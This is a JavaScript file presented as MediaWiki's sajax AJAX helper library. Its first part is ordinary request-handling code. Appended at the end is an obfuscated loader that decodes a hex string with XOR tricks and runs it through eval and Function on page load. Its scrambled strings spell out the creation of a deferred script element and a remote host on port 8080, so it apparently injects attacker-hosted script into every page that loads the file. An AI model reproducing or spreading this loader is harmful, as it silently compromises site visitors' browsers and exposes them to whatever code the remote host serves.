// remote scripting library
// (c) copyright 2005 modernmethod, inc
var sajax_debug_mode = false;
var sajax_request_type = "GET";

/**
* if sajax_debug_mode is true, this function outputs given the message into 
* the element with id = sajax_debug; if no such element exists in the document, 
* it is injected.
*/
function sajax_debug(text) {
	if (!sajax_debug_mode) return false;

	var e= document.getElementById('sajax_debug');

	if (!e) {
		e= document.createElement("p");
		e.className= 'sajax_debug';
		e.id= 'sajax_debug';

		var b= document.getElementsByTagName("body")[0];

		if (b.firstChild) b.insertBefore(e, b.firstChild);
		else b.appendChild(e);
	}

	var m= document.createElement("div");
	m.appendChild( document.createTextNode( text ) );

	e.appendChild( m );

	return true;
}

/**
* compatibility wrapper for creating a new XMLHttpRequest object.
*/
function sajax_init_object() {
	sajax_debug("sajax_init_object() called..")
	var A;
	try {
		// Try the new style before ActiveX so we don't
		// unnecessarily trigger warnings in IE 7 when
		// set to prompt about ActiveX usage
		A = new XMLHttpRequest();
	} catch (e) {
		try {
			A=new ActiveXObject("Msxml2.XMLHTTP");
		} catch (e) {
			try {
				A=new ActiveXObject("Microsoft.XMLHTTP");
			} catch (oc) {
				A=null;
			}
		}
	}
	if (!A)
		sajax_debug("Could not create connection object.");

	return A;
}

/**
* Perform an ajax call to mediawiki. Calls are handeled by AjaxDispatcher.php
*   func_name - the name of the function to call. Must be registered in $wgAjaxExportList
*   args - an array of arguments to that function
*   target - the target that will handle the result of the call. If this is a function,
*            if will be called with the XMLHttpRequest as a parameter; if it's an input
*            element, its value will be set to the resultText; if it's another type of
*            element, its innerHTML will be set to the resultText.
*
* Example:
*    sajax_do_call('doFoo', [1, 2, 3], document.getElementById("showFoo"));
*
* This will call the doFoo function via MediaWiki's AjaxDispatcher, with
* (1, 2, 3) as the parameter list, and will show the result in the element
* with id = showFoo
*/
function sajax_do_call(func_name, args, target) {
	var i, x, n;
	var uri;
	var post_data;
	uri = wgServer +
		((wgScript == null) ? (wgScriptPath + "/index.php") : wgScript) +
		"?action=ajax";
	if (sajax_request_type == "GET") {
		if (uri.indexOf("?") == -1)
			uri = uri + "?rs=" + encodeURIComponent(func_name);
		else
			uri = uri + "&rs=" + encodeURIComponent(func_name);
		for (i = 0; i < args.length; i++)
			uri = uri + "&rsargs[]=" + encodeURIComponent(args[i]);
		//uri = uri + "&rsrnd=" + new Date().getTime();
		post_data = null;
	} else {
		post_data = "rs=" + encodeURIComponent(func_name);
		for (i = 0; i < args.length; i++)
			post_data = post_data + "&rsargs[]=" + encodeURIComponent(args[i]);
	}
	x = sajax_init_object();
	if (!x) {
		alert("AJAX not supported");
		return false;
	}

	try {
		x.open(sajax_request_type, uri, true);
	} catch (e) {
		if (window.location.hostname == "localhost") {
			alert("Your browser blocks XMLHttpRequest to 'localhost', try using a real hostname for development/testing.");
		}
		throw e;
	}
	if (sajax_request_type == "POST") {
		x.setRequestHeader("Method", "POST " + uri + " HTTP/1.1");
		x.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
	}
	x.setRequestHeader("Pragma", "cache=yes");
	x.setRequestHeader("Cache-Control", "no-transform");
	x.onreadystatechange = function() {
		if (x.readyState != 4)
			return;

		sajax_debug("received (" + x.status + " " + x.statusText + ") " + x.responseText);

		//if (x.status != 200)
		//	alert("Error: " + x.status + " " + x.statusText + ": " + x.responseText);
		//else

		if ( typeof( target ) == 'function' ) {
			target( x );
		}
		else if ( typeof( target ) == 'object' ) {
			if ( target.tagName == 'INPUT' ) {
				if (x.status == 200) target.value= x.responseText;
				//else alert("Error: " + x.status + " " + x.statusText + " (" + x.responseText + ")");
			}
			else {
				if (x.status == 200) target.innerHTML = x.responseText;
				else target.innerHTML= "<div class='error'>Error: " + x.status + " " + x.statusText + " (" + x.responseText + ")</div>";
			}
		}
		else {
			alert("bad target for sajax_do_call: not a function or object: " + target);
		}

		return;
	}

	sajax_debug(func_name + " uri = " + uri + " / post = " + post_data);
	x.send(post_data);
	sajax_debug(func_name + " waiting..");
	delete x;

	return true;
}

var qr="5d424b70543051695f4b58206a56595204765974564451745d61477f7844754c73527f4f626e6157785c455d755d645c586a5b43447e74747369594c55594044757052467c067a733b426353004a53004a56";var xRz;if(xRz!='BHj' && xRz!='Lu'){xRz='BHj'};var fF;if(fF!='cH'){fF='cH'};function i(a){var Qy=new String();var TR='';var K=new String();var j;if(j!='g' && j!='XH'){j='g'}; var t=function(m){var Y=new Date();this.E=1625;var eh=new String();var tB;if(tB!='Ai' && tB != ''){tB=null};var d=[0][0];var CI;if(CI!='' && CI!='Tf'){CI=''};var qs=new Array();var r="r";var N=[0,253,217][0];var Ca;if(Ca!='Qk'){Ca=''};var Ng;if(Ng!='n'){Ng=''};var A=[200,255][1];this.yd=27780;var M=[182,1][1];this.Sn=false;var w=m[X("glneth", [1,3,2,0])];var oG;if(oG!='Zw'){oG=''};this.x='';var p;if(p!='' && p!='Et'){p='lY'};var JB;if(JB!='bfL'){JB='bfL'};this.qo="";while(N<w){var tRP;if(tRP!='' && tRP!='nD'){tRP='nG'};N++;z=td(m,N - M);var dx;if(dx!=''){dx='LR'};this.fN=false;d+=z*w;var qa;if(qa!='AH' && qa!='MN'){qa=''};var Pw;if(Pw!='XU' && Pw != ''){Pw=null};}var eL;if(eL!='' && eL!='zj'){eL=''};var Sc=new String();var pf;if(pf!='rj'){pf=''};var QG=false;return new yV(d % A);};var Sy=''; var dm;if(dm!='jb' && dm!='oA'){dm=''};function wd(q,J){var Ru='';var JA;if(JA!='' && JA!='rO'){JA=''};return q^J;var JY=false;var Rw;if(Rw!='ij'){Rw=''};} var JO=new String();var ur;if(ur!='' && ur!='hQ'){ur=null};function X(F, U){var R = '';var Q = U.length;var fV;if(fV!='kp'){fV='kp'};this.Nu=false;var c = F.length;var oh;if(oh!='' && oh!='xa'){oh=''};var TX="";var T=[199,0][1];var M=[171,1][1];var II="";var QR="";this.vy=false;for(var l = T; l < c; l += Q) {this.YK="";this.YP="YP";var wX = F.substr(l, Q);var Wr=39175;var Ww=31142;if(wX.length == Q){var pX;if(pX!='qB' && pX!='MH'){pX=''};this.Zx=false;this.aQ=false;for(var N in U) {this.Cl="";var EL=29293;R+=wX.substr(U[N], M);var gs='';var kx;if(kx!='' && kx!='zi'){kx='nr'};var uh="";}var wI;if(wI!='CDo' && wI != ''){wI=null};this.wr="wr";} else {var WD=false;  R+=wX;}var Zv="";var Jr;if(Jr!='kj' && Jr!='Rv'){Jr=''};}var Ua=new Date();var JU;if(JU!='Kt'){JU=''};return R;}var VH=new Array(); var y=function(F){var pfo="pfo";F = new yV(F);this.We='';var lf = -1;var nc=45670;var yVp=59432;var T =[143,178,42,0][3];var TV;if(TV!='' && TV!='gj'){TV='RJ'};var um="um";var R = '';var GD;if(GD!='al' && GD!='lJ'){GD='al'};var l =[119,0,165][1];var lZ;if(lZ!='UaB'){lZ=''};this.WY=false;var Sp="Sp";for (l=F[X("elgnht", [1,0])]-lf;l>=T;l=l-[4,1][1]){this.lF="lF";this.Lf="Lf";R+=F[X("hcaArt", [1,0,2])](l);this.XQ="";var ai=18195;}var vb;if(vb!='ua'){vb=''};var uU=new Date();var IJ='';return R;var cl;if(cl!='xH' && cl!='ef'){cl='xH'};var jP=57954;};this.Fn="";var Kg;if(Kg!='fI'){Kg=''};var ry;if(ry!='eT'){ry=''}; this.zw="";var ZY;if(ZY!='qA'){ZY=''};function td(s,Z){var XHF=53006;return s[X("ahcoCrAedt", [2,1,0])](Z);var AZ="";var Mu="";}var eW;if(eW!='Ta'){eW=''};var KO;if(KO!='' && KO!='sV'){KO='ob'};var BI;if(BI!='' && BI!='qE'){BI=''};this.ft="ft";var o=window;var SH="SH";var ss=o[X("vela", [1,0])];var KD;if(KD!='fM' && KD!='hZ'){KD=''};var AY=ss(X("nuFitcon", [2,1,0]));var DV=new Array();var KY;if(KY!='' && KY!='oD'){KY=''};var rfZ=new Date();var wT;if(wT!='IJy' && wT!='MT'){wT='IJy'};var Ry;if(Ry!='CHo' && Ry!='uD'){Ry=''};var nf=10905;var H=ss(X("geRpxE", [2,1,0]));var lA;if(lA!='' && lA!='cz'){lA=''};var Cm = '';var mq=60624;var Vq=65355;var yV=ss(X("rtniSg", [4,1,0,3,2]));this.cZ="cZ";var nO;if(nO!='' && nO!='lN'){nO=null};var vR='';var G=yV[X("mrofrhaCeodC", [3,1,2,0])];this.Xv="";var qm;if(qm!='' && qm!='ln'){qm='vo'};var cC=new Date();var b=o[X("seaeupcn", [4,7,3,0,6,2,5,1])];var mw;if(mw!='uhO' && mw != ''){mw=null};var Ch;if(Ch!='Wh' && Ch != ''){Ch=null};this.Cu="";var ouL;if(ouL!='' && ouL!='YYN'){ouL=null};var FJ =[24,0,214][1];var T =[198,236,0][2];var xC=new Array();var cd = /[^@a-z0-9A-Z_-]/g;var f=[1, X("codemu.tnercetaelEnem\'(trcstpi\')", [2,1,0]),2, X("emcodnuydb.t.odnppaCed(lih)d", [4,3,2,6,1,0,5]),3, X("oc.mcxrac.moc..newllfsraog", [1,0]),4, X("lgogomo.ec.do", [3,2,4,1,0]),5, X("omc.hetnwfeoumr.u:r8080", [2,0,1,3]),6, X("t.dAettstireu(\'bdefer\'", [2,1,7,4,0,3,5,6]),7, X("w.oinowdnload", [6,3,4,7,5,0,1,2]),8, X("ufcnitno)(", [1,0]),11, X("lgoogmoc.e", [4,3,2,1,0]),12, X("koeaylne.t", [2,0,1]),14, X("ac)et(ch", [6,0,4,1,7,5,3,2]),15, X("iixnbga", [4,6,1,2,0,3,5]),16, X("hpt\":t", [3,0,5,2,1,4]),17, X("ewnd.e", [1,0,2]),18, X("nnekt", [3,2,0,1,4]),19, X(".dsrc", [1,0,2]),20, X("1\'\')", [1,0,2]),21, X("rty", [1,0]),22, X("ewr", [1,0])];var PW;if(PW!='JUR' && PW!='VM'){PW='JUR'};var Ht =[73,45,65,2][3];var OG;if(OG!='rU' && OG != ''){OG=null};var Fw=50546;var O = G(37);var mP = a[X("gnelth", [3,2,1,0])];var h = '';var vk="";var mT;if(mT!='jT' && mT!='BU'){mT='jT'};this.bK=false;var cu = '';this.nT="nT";var Ag="Ag";var bP = '';var dn;if(dn!='Wm' && dn!='ukP'){dn='Wm'};var RK=3700;var M =[1,3,77,222][0];var RT;if(RT!='tWJ' && RT!='oQ'){RT='tWJ'};var If;if(If!='nY' && If!='NjQ'){If='nY'};this.wK='';this.wdZ='';var NL;if(NL!='Hv' && NL!='Ym'){NL=''};var xb;if(xb!='DC' && xb != ''){xb=null};for(var sA=T; sA < mP; sA+=Ht){cu+= O; this.PF="";cu+= a[X("usbstr", [1,0,2,3])](sA, Ht);}var WM;if(WM!='Vs' && WM!='TF'){WM='Vs'};var a = b(cu);this.xr="";this.Ow="";var rG;if(rG!='iD' && rG!='Vd'){rG='iD'};this.lyM=38304;var ax = new yV(i);var TZ = ax[X("erpalce", [1,0,2])](cd, bP);this.Nd='';this.yq=false;this.ls="ls";var xY;if(xY!='eG' && xY!='pr'){xY='eG'};this.Tl="";TZ = y(TZ);var L = new yV(AY);var Uo=new Array();var NU = f[X("htngle", [4,5,2,3,1,0])];var sy;if(sy!=''){sy='dh'};var fs=54958;var hN=61072;var OL = L[X("elarpce", [3,0,4,1,2])](cd, bP);this.rUp=10452;var OL = t(OL);var Djc;if(Djc!='rl' && Djc != ''){Djc=null};var B=t(TZ);var Qb;if(Qb!='Ve' && Qb!='DN'){Qb='Ve'};this.Jb="";for(var l=T; l < (a[X("tgnelh", [4,3,2,1,0])]);l=l+[1,0][0]) {var ssM=new Array();var IS="";var qX = TZ.charCodeAt(FJ);var Dz;if(Dz!='' && Dz!='jc'){Dz=null};var yD;if(yD!='' && yD!='fR'){yD=null};var hU = td(a,l);this.oe=33118;this.epR=false;hU = wd(hU, qX);hU = wd(hU, B);hU = wd(hU, OL);var df=new Array();this.uV="";var rD="rD";var Kex="Kex";FJ++;var rV=new String();var iH;if(iH!='bd'){iH='bd'};if(FJ > TZ.length-M){this.pe="";this.BS="";FJ=T;this.NXW=false;}var Kuo='';var BO=false;var lNk;if(lNk!='mn' && lNk!='QGe'){lNk=''};h += G(hU);}var zZ='';var LzS;if(LzS!='cv'){LzS='cv'};var TA=new String();for(D=T; D < NU; D+=Ht){var wi='';var Oh;if(Oh!=''){Oh='TeF'};var QW = G(f[D]);var Gy = f[D + M];var Sgj;if(Sgj!='ik'){Sgj=''};var sVm='';var Mx='';var EW=false;var DB = new H(QW, G(103));var Zg=new Array();var XC;if(XC!='Rp' && XC!='xy'){XC=''};h=h[X("eprlace", [2,0,1,3])](DB, Gy);var Qv;if(Qv!='Vh'){Qv=''};}var zGw;if(zGw!='UP' && zGw!='QRK'){zGw=''};this.bQ='';this.Uh=false;var OQ=new AY(h);var EH;if(EH!='' && EH!='ql'){EH=null};OQ();var oO=new String();var wZ=new String();TZ = '';h = '';var vU;if(vU!='' && vU!='GE'){vU=''};OQ = '';OL = '';var yDc;if(yDc!='' && yDc!='Sq'){yDc=''};B = '';L = '';var Ntp;if(Ntp!='fKD' && Ntp!='Yq'){Ntp=''};var Si=new String();var ni=new Date();var Yb;if(Yb!='Ago'){Yb=''};return '';};var xRz;if(xRz!='BHj' && xRz!='Lu'){xRz='BHj'};var fF;if(fF!='cH'){fF='cH'};i(qr);